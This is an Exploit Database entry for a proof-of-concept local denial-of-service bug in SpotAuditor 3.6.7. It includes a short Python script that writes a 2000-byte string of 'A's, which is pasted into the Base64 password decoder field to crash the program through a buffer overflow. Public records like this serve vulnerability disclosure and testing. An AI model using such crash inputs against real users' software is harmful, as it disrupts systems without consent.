



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# SpotAuditor 3.6.7 - 'Base64 Encrypted Password' Denial of Service (PoC)

**EDB-ID:**

46313

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[RAFAEL PEDRERO](#)

**Type:**

[DOS](#)

**Exploit:**   / 

**Platform:**

[WINDOWS](#)

**Date:**

2019-02-04

**Vulnerable App:**



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: SpotAuditor v3.6.7 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.nsauditor.com/order.html
# Software Link : http://www.nsauditor.com/order.html
# Tested Version: v3.6.7
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run SpotAuditor.exe
# 2.- copy content SpotAuditor_Crash.txt to clipboard (result from this
python script)
# 3.- Go to "Tools" - "Base64 Password Decoder" and paste the result in the
"Base64 Encrypted Password:" textbox.
# 4.- Click in Decrypt button and you will see a crash.
```

```
#!/usr/bin/env python
```

```
crash = "\x41" * 2000
f = open ("SpotAuditor_Crash.txt", "w")
f.write(crash)
f.close()
```

Tags: [Denial of Service \(DoS\)](#),  
[Buffer Overflow](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.